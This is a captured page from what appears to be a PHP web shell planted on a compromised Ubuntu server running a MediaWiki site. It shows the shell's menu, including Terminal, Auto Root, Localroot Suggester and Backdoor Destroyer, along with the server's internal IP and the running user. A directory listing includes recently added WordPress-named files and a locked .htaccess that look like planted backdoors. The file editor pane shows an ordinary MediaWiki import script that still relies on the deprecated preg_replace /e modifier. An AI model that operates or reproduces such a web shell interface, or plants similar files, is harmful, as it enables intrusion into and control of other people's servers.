Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
wiki.bernardino.org /
maintenance /
Delete
Unzip
Name
Size
Permission
Date
Action
archives
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
benchmarks
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
cssjanus
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
dev
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
dictionary
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
dtrace
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
gearman
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
hhvm
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
hiphop
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
ibm_db2
[ DIR ]
drwxr-xr-x
2012-03-22 16:23
jsduck
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
language
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
locking
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
mssql
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
oracle
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
postgres
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
resources
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
sqlite
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
storage
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
term
[ DIR ]
drwxr-xr-x
2016-11-28 20:20
.htaccess
197
B
-r--r--r--
2026-08-22 08:29
7zip.inc
2.5
KB
-rw-r--r--
2016-11-28 20:20
Doxyfile
14.16
KB
-rw-r--r--
2016-11-28 20:20
Maintenance.php
42.74
KB
-rw-r--r--
2016-11-28 20:20
Makefile
582
B
-rw-r--r--
2016-11-28 20:20
README
2.87
KB
-rw-r--r--
2016-11-28 20:20
Site.php
351
B
-rw-r--r--
2011-09-29 22:59
addRFCandPMIDInterwiki.php
2.43
KB
-rw-r--r--
2016-11-28 20:20
addwiki.php
9.91
KB
-rw-r--r--
2011-08-14 11:27
attachLatest.php
2.98
KB
-rw-r--r--
2016-11-28 20:20
backup.inc
12.11
KB
-rw-r--r--
2016-11-28 20:20
backupPrefetch.inc
5.46
KB
-rw-r--r--
2016-11-28 20:20
cdb.php
3.09
KB
-rw-r--r--
2016-11-28 20:20
changePassword.php
2.43
KB
-rw-r--r--
2016-11-28 20:20
checkAutoLoader.php
1.99
KB
-rw-r--r--
2011-01-13 23:58
checkBadRedirects.php
1.94
KB
-rw-r--r--
2016-11-28 20:20
checkComposerLockUpToDate.php
2.02
KB
-rw-r--r--
2016-11-28 20:20
checkImages.php
2.4
KB
-rw-r--r--
2016-11-28 20:20
checkLess.php
1.91
KB
-rw-r--r--
2016-11-28 20:20
checkSyntax.php
9.27
KB
-rw-r--r--
2016-11-28 20:20
checkUsernames.php
1.97
KB
-rw-r--r--
2016-11-28 20:20
cleanupAncientTables.php
3.32
KB
-rw-r--r--
2016-11-28 20:20
cleanupBlocks.php
3.82
KB
-rw-r--r--
2016-11-28 20:20
cleanupCaps.php
5.07
KB
-rw-r--r--
2016-11-28 20:20
cleanupEmptyCategories.php
5.41
KB
-rw-r--r--
2016-11-28 20:20
cleanupImages.php
6.05
KB
-rw-r--r--
2016-11-28 20:20
cleanupPreferences.php
1.57
KB
-rw-r--r--
2016-11-28 20:20
cleanupRemovedModules.php
2.28
KB
-rw-r--r--
2016-11-28 20:20
cleanupSpam.php
4.89
KB
-rw-r--r--
2016-11-28 20:20
cleanupTable.inc
4.7
KB
-rw-r--r--
2016-11-28 20:20
cleanupTitles.php
5.67
KB
-rw-r--r--
2016-11-28 20:20
cleanupUploadStash.php
4.88
KB
-rw-r--r--
2016-11-28 20:20
cleanupWatchlist.php
2.86
KB
-rw-r--r--
2016-11-28 20:20
clearInterwikiCache.php
1.72
KB
-rw-r--r--
2016-11-28 20:20
clear_interwiki_cache.php
1.65
KB
-rw-r--r--
2011-01-13 23:58
clear_stats.php
1.93
KB
-rw-r--r--
2011-01-13 23:58
commandLine.inc
2.15
KB
-rw-r--r--
2016-11-28 20:20
compareParserCache.php
3.2
KB
-rw-r--r--
2016-11-28 20:20
compareParsers.php
5.41
KB
-rw-r--r--
2016-11-28 20:20
convertExtensionToRegistration.php
9.71
KB
-rw-r--r--
2016-11-28 20:20
convertLinks.php
9.76
KB
-rw-r--r--
2016-11-28 20:20
convertUserOptions.php
3.12
KB
-rw-r--r--
2016-11-28 20:20
copyFileBackend.php
14.42
KB
-rw-r--r--
2016-11-28 20:20
copyJobQueue.php
3.3
KB
-rw-r--r--
2016-11-28 20:20
createAndPromote.php
4.37
KB
-rw-r--r--
2016-11-28 20:20
createCommonPasswordCdb.php
3.51
KB
-rw-r--r--
2016-11-28 20:20
deleteArchivedFiles.inc
2.42
KB
-rw-r--r--
2011-01-21 18:42
deleteArchivedFiles.php
3.86
KB
-rw-r--r--
2016-11-28 20:20
deleteArchivedRevisions.inc
1.68
KB
-rw-r--r--
2011-07-01 04:25
deleteArchivedRevisions.php
2.09
KB
-rw-r--r--
2016-11-28 20:20
deleteBatch.php
3.78
KB
-rw-r--r--
2016-11-28 20:20
deleteDefaultMessages.php
2.69
KB
-rw-r--r--
2016-11-28 20:20
deleteEqualMessages.php
6.83
KB
-rw-r--r--
2016-11-28 20:20
deleteImageMemcached.php
2.27
KB
-rw-r--r--
2011-01-13 23:58
deleteOldRevisions.php
3.22
KB
-rw-r--r--
2016-11-28 20:20
deleteOrphanedRevisions.php
3.06
KB
-rw-r--r--
2016-11-28 20:20
deleteRevision.php
3.04
KB
-rw-r--r--
2016-11-28 20:20
deleteSelfExternals.php
1.84
KB
-rw-r--r--
2016-11-28 20:20
doMaintenance.php
4.14
KB
-rw-r--r--
2016-11-28 20:20
dumpBackup.php
4.87
KB
-rw-r--r--
2016-11-28 20:20
dumpHTML.php
204
B
-rw-r--r--
2008-02-27 07:19
dumpInterwiki.php
8.62
KB
-rw-r--r--
2011-09-29 22:59
dumpIterator.php
5.35
KB
-rw-r--r--
2016-11-28 20:20
dumpLinks.php
2.31
KB
-rw-r--r--
2016-11-28 20:20
dumpSisterSites.php
1.76
KB
-rw-r--r--
2011-01-13 23:58
dumpTextPass.php
28.87
KB
-rw-r--r--
2016-11-28 20:20
dumpUploads.php
3.72
KB
-rw-r--r--
2016-11-28 20:20
edit.php
3.4
KB
-rw-r--r--
2016-11-28 20:20
eraseArchivedFile.php
3.84
KB
-rw-r--r--
2016-11-28 20:20
eval.php
3.04
KB
-rw-r--r--
2016-11-28 20:20
exportSites.php
1.32
KB
-rw-r--r--
2016-11-28 20:20
fetchText.php
2.57
KB
-rw-r--r--
2016-11-28 20:20
fileOpPerfTest.php
4.7
KB
-rw-r--r--
2016-11-28 20:20
findDeprecated.php
5.52
KB
-rw-r--r--
2016-11-28 20:20
findHooks.php
10.19
KB
-rw-r--r--
2016-11-28 20:20
findMissingFiles.php
3.8
KB
-rw-r--r--
2016-11-28 20:20
findOrphanedFiles.php
4.28
KB
-rw-r--r--
2016-11-28 20:20
fixDefaultJsonContentPages.php
3.9
KB
-rw-r--r--
2016-11-28 20:20
fixDoubleRedirects.php
4
KB
-rw-r--r--
2016-11-28 20:20
fixExtLinksProtocolRelative.php
2.94
KB
-rw-r--r--
2016-11-28 20:20
fixSlaveDesync.php
6.19
KB
-rw-r--r--
2011-07-01 03:42
fixTimestamps.php
4.18
KB
-rw-r--r--
2016-11-28 20:20
fixUserRegistration.php
2.46
KB
-rw-r--r--
2016-11-28 20:20
formatInstallDoc.php
2.32
KB
-rw-r--r--
2016-11-28 20:20
fuzz-tester.php
101.66
KB
-rw-r--r--
2011-06-17 18:05
generateJsonI18n.php
6.35
KB
-rw-r--r--
2016-11-28 20:20
generateLocalAutoload.php
510
B
-rw-r--r--
2016-11-28 20:20
generateSitemap.php
13.62
KB
-rw-r--r--
2016-11-28 20:20
getConfiguration.php
5.16
KB
-rw-r--r--
2016-11-28 20:20
getLagTimes.php
1.83
KB
-rw-r--r--
2016-11-28 20:20
getReplicaServer.php
1.68
KB
-rw-r--r--
2016-11-28 20:20
getSlaveServer.php
71
B
-rw-r--r--
2016-11-28 20:20
getText.php
2.1
KB
-rw-r--r--
2016-11-28 20:20
importDump.php
8.93
KB
-rw-r--r--
2016-11-28 20:20
importImages.inc
4.14
KB
-rw-r--r--
2016-11-28 20:20
importImages.php
11.76
KB
-rw-r--r--
2016-11-28 20:20
importSiteScripts.php
3.43
KB
-rw-r--r--
2016-11-28 20:20
importSites.php
1.26
KB
-rw-r--r--
2016-11-28 20:20
importTextFile.php
2.95
KB
-rw-r--r--
2010-12-16 20:15
importTextFiles.php
6.39
KB
-rw-r--r--
2016-11-28 20:20
importUseModWiki.php
11.25
KB
-rw-r--r--
2011-05-18 00:03
importUseModWikipedia.php
25.67
KB
-rw-r--r--
2011-04-23 23:40
initEditCount.php
3.34
KB
-rw-r--r--
2016-11-28 20:20
initSiteStats.php
2.62
KB
-rw-r--r--
2016-11-28 20:20
initStats.php
2.67
KB
-rw-r--r--
2011-03-30 20:34
install.php
5.69
KB
-rw-r--r--
2016-11-28 20:20
interwiki.list
3.97
KB
-rw-r--r--
2016-11-28 20:20
interwiki.sql
4.66
KB
-rw-r--r--
2016-11-28 20:20
invalidateUserSessions.php
3.09
KB
-rw-r--r--
2016-11-28 20:20
jsparse.php
2.11
KB
-rw-r--r--
2016-11-28 20:20
lag.php
1.98
KB
-rw-r--r--
2016-11-28 20:20
makeTestEdits.php
2.15
KB
-rw-r--r--
2016-11-28 20:20
mcc.php
5.32
KB
-rw-r--r--
2016-11-28 20:20
mctest.php
3.35
KB
-rw-r--r--
2016-11-28 20:20
mergeMessageFileList.php
6.39
KB
-rw-r--r--
2016-11-28 20:20
migrateFileRepoLayout.php
7.32
KB
-rw-r--r--
2016-11-28 20:20
migrateUserGroup.php
3.54
KB
-rw-r--r--
2016-11-28 20:20
minify.php
3.84
KB
-rw-r--r--
2016-11-28 20:20
moveBatch.php
4.07
KB
-rw-r--r--
2016-11-28 20:20
mwdoc-filter.php
3.3
KB
-rw-r--r--
2016-11-28 20:20
mwdocgen.php
4.39
KB
-rw-r--r--
2016-11-28 20:20
mwjsduck-gen
54
B
-rwxr-xr-x
2016-11-28 20:20
namespaceDupes.php
18.67
KB
-rw-r--r--
2016-11-28 20:20
nextJobDB.php
4.24
KB
-rw-r--r--
2011-03-10 05:47
nukeNS.php
4.18
KB
-rw-r--r--
2016-11-28 20:20
nukePage.php
3.69
KB
-rw-r--r--
2016-11-28 20:20
orphans.php
7.2
KB
-rw-r--r--
2016-11-28 20:20
ourusers.php
2.3
KB
-rw-r--r--
2010-12-16 20:15
pageExists.php
1.51
KB
-rw-r--r--
2016-11-28 20:20
parse.php
3.42
KB
-rw-r--r--
2016-11-28 20:20
patchSql.php
2.04
KB
-rw-r--r--
2016-11-28 20:20
populateBacklinkNamespace.php
2.96
KB
-rw-r--r--
2016-11-28 20:20
populateCategory.php
4.01
KB
-rw-r--r--
2016-11-28 20:20
populateContentModel.php
6.51
KB
-rw-r--r--
2016-11-28 20:20
populateFilearchiveSha1.php
2.92
KB
-rw-r--r--
2016-11-28 20:20
populateImageSha1.php
5.9
KB
-rw-r--r--
2016-11-28 20:20
populateLogSearch.php
5.62
KB
-rw-r--r--
2016-11-28 20:20
populateLogUsertext.php
2.8
KB
-rw-r--r--
2016-11-28 20:20
populateParentId.php
4.37
KB
-rw-r--r--
2016-11-28 20:20
populateRecentChangesSource.php
3.08
KB
-rw-r--r--
2016-11-28 20:20
populateRevisionLength.php
4.41
KB
-rw-r--r--
2016-11-28 20:20
populateRevisionSha1.php
6.13
KB
-rw-r--r--
2016-11-28 20:20
populateSha1.php
3.13
KB
-rw-r--r--
2011-05-18 00:03
preprocessDump.php
2.78
KB
-rw-r--r--
2016-11-28 20:20
preprocessorFuzzTest.php
7.63
KB
-rw-r--r--
2016-11-28 20:20
protect.php
2.77
KB
-rw-r--r--
2016-11-28 20:20
proxy_check.php
1.18
KB
-rw-r--r--
2011-04-25 23:04
pruneFileCache.php
3.62
KB
-rw-r--r--
2016-11-28 20:20
purgeChangedFiles.php
8.26
KB
-rw-r--r--
2016-11-28 20:20
purgeChangedPages.php
6.24
KB
-rw-r--r--
2016-11-28 20:20
purgeList.php
4.04
KB
-rw-r--r--
2016-11-28 20:20
purgeOldText.inc
2.35
KB
-rw-r--r--
2011-07-01 03:42
purgeOldText.php
1.41
KB
-rw-r--r--
2016-11-28 20:20
purgeParserCache.php
2.8
KB
-rw-r--r--
2016-11-28 20:20
purgeStaleMemcachedText.php
989
B
-rw-r--r--
2010-12-26 00:23
reassignEdits.php
6.25
KB
-rw-r--r--
2016-11-28 20:20
rebuildFileCache.php
5.74
KB
-rw-r--r--
2016-11-28 20:20
rebuildImages.php
5.85
KB
-rw-r--r--
2016-11-28 20:20
rebuildInterwiki.php
8.84
KB
-rw-r--r--
2011-03-30 20:40
rebuildLocalisationCache.php
5.6
KB
-rw-r--r--
2016-11-28 20:20
rebuildSitesCache.php
1.82
KB
-rw-r--r--
2016-11-28 20:20
rebuildall.php
2.23
KB
-rw-r--r--
2016-11-28 20:20
rebuildmessages.php
1.7
KB
-rw-r--r--
2016-11-28 20:20
rebuildrecentchanges.php
13.95
KB
-rw-r--r--
2016-11-28 20:20
rebuildtextindex.php
4.66
KB
-rw-r--r--
2016-11-28 20:20
refreshFileHeaders.php
3.09
KB
-rw-r--r--
2016-11-28 20:20
refreshImageCount.php
1.71
KB
-rw-r--r--
2011-01-13 23:58
refreshImageMetadata.php
7.01
KB
-rw-r--r--
2016-11-28 20:20
refreshLinks.php
12.06
KB
-rw-r--r--
2016-11-28 20:20
removeInvalidEmails.php
1.99
KB
-rw-r--r--
2016-11-28 20:20
removeUnusedAccounts.php
4.85
KB
-rw-r--r--
2016-11-28 20:20
renameDbPrefix.php
2.96
KB
-rw-r--r--
2016-11-28 20:20
renamewiki.php
2.69
KB
-rw-r--r--
2011-03-30 21:44
renderDump.php
3.78
KB
-rw-r--r--
2016-11-28 20:20
resetUserEmail.php
2.25
KB
-rw-r--r--
2016-11-28 20:20
resetUserTokens.php
3.66
KB
-rw-r--r--
2016-11-28 20:20
rollbackEdits.php
3.38
KB
-rw-r--r--
2016-11-28 20:20
runBatchedQuery.php
1.99
KB
-rw-r--r--
2016-11-28 20:20
runJobs.php
3.34
KB
-rw-r--r--
2016-11-28 20:20
runScript.php
2
KB
-rw-r--r--
2016-11-28 20:20
showJobs.php
3.42
KB
-rw-r--r--
2016-11-28 20:20
showSiteStats.php
2.29
KB
-rw-r--r--
2016-11-28 20:20
showStats.php
2.25
KB
-rw-r--r--
2011-01-28 18:18
sql.php
5.46
KB
-rw-r--r--
2016-11-28 20:20
sqlite.inc
2.53
KB
-rw-r--r--
2016-11-28 20:20
sqlite.php
4.32
KB
-rw-r--r--
2016-11-28 20:20
stats.php
4.5
KB
-rw-r--r--
2011-03-08 19:01
syncFileBackend.php
10.55
KB
-rw-r--r--
2016-11-28 20:20
tables.sql
59.42
KB
-rw-r--r--
2016-11-28 20:20
tidyUpBug37714.php
1.42
KB
-rw-r--r--
2016-11-28 20:20
undelete.php
2.02
KB
-rw-r--r--
2016-11-28 20:20
update-keys.sql
1.47
KB
-rw-r--r--
2016-11-28 20:20
update.php
6.95
KB
-rwxr-xr-x
2016-11-28 20:20
updateArticleCount.php
2.3
KB
-rw-r--r--
2016-11-28 20:20
updateCollation.php
10.21
KB
-rw-r--r--
2016-11-28 20:20
updateCredits.php
2.25
KB
-rw-r--r--
2016-11-28 20:20
updateDoubleWidthSearch.php
2.35
KB
-rw-r--r--
2016-11-28 20:20
updateRestrictions.php
4.28
KB
-rw-r--r--
2016-11-28 20:20
updateSearchIndex.php
4.04
KB
-rw-r--r--
2016-11-28 20:20
updateSpecialPages.php
4.97
KB
-rw-r--r--
2016-11-28 20:20
upgrade1_5.php
42.82
KB
-rw-r--r--
2011-06-26 17:40
userDupes.inc
7.7
KB
-rw-r--r--
2016-11-28 20:20
userOptions.inc
7.12
KB
-rw-r--r--
2016-11-28 20:20
userOptions.php
1.17
KB
-rw-r--r--
2016-11-28 20:20
validateRegistrationFile.php
2.69
KB
-rw-r--r--
2016-11-28 20:20
waitForSlave.php
1.25
KB
-rw-r--r--
2011-01-13 23:58
wikipedia-interwiki.sql
12.71
KB
-rw-r--r--
2011-04-12 03:33
wiktionary-interwiki.sql
8.09
KB
-rw-r--r--
2011-04-12 03:33
wp-blog-header.php
2.74
KB
-r--r--r--
2026-08-22 08:29
wp-cron.php
2.74
KB
-rw-r--r--
2026-08-22 08:29
wrapOldPasswords.php
3.91
KB
-rw-r--r--
2016-11-28 20:20
Save
Rename
<?php /** * Import data from a UseModWiki into a MediaWiki wiki * 2003-02-09 Brion VIBBER <brion@pobox.com> * Based loosely on Magnus's code from 2001-2002 * * Updated limited version to get something working temporarily * 2003-10-09 * Be sure to run the link & index rebuilding scripts! * * Some more munging for charsets etc * 2003-11-28 * * Partial fix for pages starting with lowercase letters (??) * and CamelCase and /Subpage link conversion * 2004-11-17 * * Rewrite output to create Special:Export format for import * instead of raw SQL. Should be 'future-proof' against future * schema changes. * 2005-03-14 * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * http://www.gnu.org/copyleft/gpl.html * * @todo document * @file * @ingroup Maintenance */ require_once( "Maintenance.php" ); class ImportUseModWiki extends Maintenance { private $encoding, $rootDirectory = ''; /** * Field separators * @var String */ private $FS1, $FS2, $FS3 = ''; /** * @var Array */ private $usercache, $nowiki = array(); public function __construct() { parent::__construct(); $this->mDescription = "Import pages from UseMod wikis"; $this->addOption( 'encoding', 'Encoding of the imported text, default CP1252', false, true ); /** * If UseModWiki's New File System is used: * $NewFS = 1; # 1 = new multibyte $FS, 0 = old $FS * Use "\xb3"; for the Old File System * Changed with UTF-8 UseModWiki * http://www.usemod.com/cgi-bin/wiki.pl?SupportForUtf8 * http://www.usemod.com/cgi-bin/wiki.pl?WikiBugs/NewFieldSeparatorWronglyTreated * http://www.meatballwiki.org/wiki/WikiEngine#Q_amp_A */ $this->addOption( 'separator', 'Field separator to use, default \x1E\xFF\xFE\x1E', false, true ); $this->addArg( 'path', 'Path to your UseMod wiki' ); } public function execute() { $this->rootDirectory = $this->getArg(); $this->encoding = $this->getOption( 'encoding', 'CP1252' ); $sep = $this->getOption( 'separator', "\x1E\xFF\xFE\x1E" ); $this->FS1 = "{$sep}1"; $this->FS2 = "{$sep}2"; $this->FS3 = "{$sep}3"; echo <<<XML <?xml version="1.0" encoding="UTF-8" ?> <mediawiki xmlns="http://www.mediawiki.org/xml/export-0.1/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.mediawiki.org/xml/export-0.1/ http://www.mediawiki.org/xml/export-0.1.xsd" version="0.1" xml:lang="en"> <!-- generated by importUseModWiki.php --> XML; $letters = array( 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'other' ); foreach ( $letters as $letter ) { $dir = "{$this->rootDirectory}/page/$letter"; if ( is_dir( $dir ) ) $this->importPageDirectory( $dir ); } echo <<<XML </mediawiki> XML; } private function importPageDirectory( $dir, $prefix = "" ) { echo "\n<!-- Checking page directory " . $this->xmlCommentSafe( $dir ) . " -->\n"; $mydir = opendir( $dir ); while ( $entry = readdir( $mydir ) ) { $m = array(); if ( preg_match( '/^(.+)\.db$/', $entry, $m ) ) { echo $this->importPage( $prefix . $m[1] ); } else { if ( is_dir( "$dir/$entry" ) ) { if ( $entry != '.' && $entry != '..' ) { $this->importPageDirectory( "$dir/$entry", "$entry/" ); } } else { echo "<!-- File '" . $this->xmlCommentSafe( $entry ) . "' doesn't seem to contain an article. Skipping. -->\n"; } } } } private function useModFilename( $title ) { $c = substr( $title, 0, 1 ); if ( preg_match( '/[A-Z]/i', $c ) ) { return strtoupper( $c ) . "/$title"; } return "other/$title"; } private function fetchPage( $title ) { $fname = $this->rootDirectory . "/page/" . $this->useModFilename( $title ) . ".db"; if ( !file_exists( $fname ) ) { echo "Couldn't open file '$fname' for page '$title'.\n"; die( -1 ); } $page = $this->splitHash( $this->FS1, file_get_contents( $fname ) ); $section = $this->splitHash( $this->FS2, $page["text_default"] ); $text = $this->splitHash( $this->FS3, $section["data"] ); return $this->array2object( array( "text" => $text["text"] , "summary" => $text["summary"] , "minor" => $text["minor"] , "ts" => $section["ts"] , "username" => $section["username"] , "host" => $section["host"] ) ); } private function fetchKeptPages( $title ) { $fname = $this->rootDirectory . "/keep/" . $this->useModFilename( $title ) . ".kp"; if ( !file_exists( $fname ) ) return array(); $keptlist = explode( $this->FS1, file_get_contents( $fname ) ); array_shift( $keptlist ); # Drop the junk at beginning of file $revisions = array(); foreach ( $keptlist as $rev ) { $section = $this->splitHash( $this->FS2, $rev ); $text = $this->splitHash( $this->FS3, $section["data"] ); if ( $text["text"] && $text["minor"] != "" && ( $section["ts"] * 1 > 0 ) ) { array_push( $revisions, $this->array2object( array ( "text" => $text["text"] , "summary" => $text["summary"] , "minor" => $text["minor"] , "ts" => $section["ts"] , "username" => $section["username"] , "host" => $section["host"] ) ) ); } else { echo "<!-- skipped a bad old revision -->\n"; } } return $revisions; } private function splitHash( $sep , $str ) { $temp = explode ( $sep , $str ) ; $ret = array () ; for ( $i = 0; $i + 1 < count ( $temp ) ; $i++ ) { $ret[$temp[$i]] = $temp[++$i] ; } return $ret ; } private function checkUserCache( $name, $host ) { if ( $name ) { if ( in_array( $name, $this->usercache ) ) { $userid = $this->usercache[$name]; } else { # If we haven't imported user accounts $userid = 0; } $username = str_replace( '_', ' ', $name ); } else { $userid = 0; $username = $host; } return array( $userid, $username ); } private function importPage( $title ) { echo "\n<!-- Importing page " . $this->xmlCommentSafe( $title ) . " -->\n"; $page = $this->fetchPage( $title ); $newtitle = $this->xmlsafe( str_replace( '_', ' ', $this->recodeText( $title ) ) ); $munged = $this->mungeFormat( $page->text ); if ( $munged != $page->text ) { /** * Save a *new* revision with the conversion, and put the * previous last version into the history. */ $next = $this->array2object( array( 'text' => $munged, 'minor' => 1, 'username' => 'Conversion script', 'host' => '127.0.0.1', 'ts' => time(), 'summary' => 'link fix', ) ); $revisions = array( $page, $next ); } else { /** * Current revision: */ $revisions = array( $page ); } $xml = <<<XML <page> <title>$newtitle</title> XML; # History $revisions = array_merge( $revisions, $this->fetchKeptPages( $title ) ); if ( count( $revisions ) == 0 ) { return NULL; // Was "$sql", which does not appear to be defined. } foreach ( $revisions as $rev ) { $text = $this->xmlsafe( $this->recodeText( $rev->text ) ); $minor = ( $rev->minor ? '<minor/>' : '' ); list( /* $userid */ , $username ) = $this->checkUserCache( $rev->username, $rev->host ); $username = $this->xmlsafe( $this->recodeText( $username ) ); $timestamp = $this->xmlsafe( $this->timestamp2ISO8601( $rev->ts ) ); $comment = $this->xmlsafe( $this->recodeText( $rev->summary ) ); $xml .= <<<XML <revision> <timestamp>$timestamp</timestamp> <contributor><username>$username</username></contributor> $minor <comment>$comment</comment> <text>$text</text> </revision> XML; } $xml .= "</page>\n\n"; return $xml; } private function recodeText( $string ) { # For currently latin-1 wikis $string = str_replace( "\r\n", "\n", $string ); $string = @iconv( $this->encoding, "UTF-8", $string ); $string = $this->mungeToUtf8( $string ); # Any old Ӓ stuff return $string; } /** * @todo FIXME: Don't use /e */ private function mungeToUtf8( $string ) { $string = preg_replace ( '/&#([0-9]+);/e', 'wfUtf8Sequence($1)', $string ); $string = preg_replace ( '/&#x([0-9a-f]+);/ie', 'wfUtf8Sequence(0x$1)', $string ); # Should also do named entities here return $string; } private function timestamp2ISO8601( $ts ) { # 2003-08-05T18:30:02Z return gmdate( 'Y-m-d', $ts ) . 'T' . gmdate( 'H:i:s', $ts ) . 'Z'; } /** * The page may contain old data which has not been properly normalized. * Invalid UTF-8 sequences or forbidden control characters will make our * XML output invalid, so be sure to strip them out. * @param String $string Text to clean up * @return String */ private function xmlsafe( $string ) { $string = UtfNormal::cleanUp( $string ); $string = htmlspecialchars( $string ); return $string; } private function xmlCommentSafe( $text ) { return str_replace( '--', '\\-\\-', $this->xmlsafe( $this->recodeText( $text ) ) ); } private function array2object( $arr ) { $o = (object)0; foreach ( $arr as $x => $y ) { $o->$x = $y; } return $o; } /** * Make CamelCase and /Talk links work */ private function mungeFormat( $text ) { $this->nowiki = array(); $staged = preg_replace_callback( '/(<nowiki>.*?<\\/nowiki>|(?:http|https|ftp):\\S+|\[\[[^]\\n]+]])/s', array( $this, 'nowikiPlaceholder' ), $text ); # This is probably not 100% correct, I'm just # glancing at the UseModWiki code. $upper = "[A-Z]"; $lower = "[a-z_0-9]"; $any = "[A-Za-z_0-9]"; $camel = "(?:$upper+$lower+$upper+$any*)"; $subpage = "(?:\\/$any+)"; $substart = "(?:\\/$upper$any*)"; $munged = preg_replace( "/(?!\\[\\[)($camel$subpage*|$substart$subpage*)\\b(?!\\]\\]|>)/", '[[$1]]', $staged ); $final = preg_replace( '/' . preg_quote( $this->placeholder() ) . '/s', array( $this, 'nowikiShift' ), $munged ); return $final; } private function placeholder( $x = null ) { return '\xffplaceholder\xff'; } public function nowikiPlaceholder( $matches ) { $this->nowiki[] = $matches[1]; return $this->placeholder(); } public function nowikiShift() { return array_shift( $this->nowiki ); } } function wfUtf8Sequence( $codepoint ) { if ( $codepoint < 0x80 ) { return chr( $codepoint ); } if ( $codepoint < 0x800 ) { return chr( $codepoint >> 6 & 0x3f | 0xc0 ) . chr( $codepoint & 0x3f | 0x80 ); } if ( $codepoint < 0x10000 ) { return chr( $codepoint >> 12 & 0x0f | 0xe0 ) . chr( $codepoint >> 6 & 0x3f | 0x80 ) . chr( $codepoint & 0x3f | 0x80 ); } if ( $codepoint < 0x100000 ) { return chr( $codepoint >> 18 & 0x07 | 0xf0 ) . # Double-check this chr( $codepoint >> 12 & 0x3f | 0x80 ) . chr( $codepoint >> 6 & 0x3f | 0x80 ) . chr( $codepoint & 0x3f | 0x80 ); } # Doesn't yet handle outside the BMP return "&#$codepoint;"; } $maintClass = 'ImportUseModWiki'; require_once( RUN_MAINTENANCE_IF_MAIN );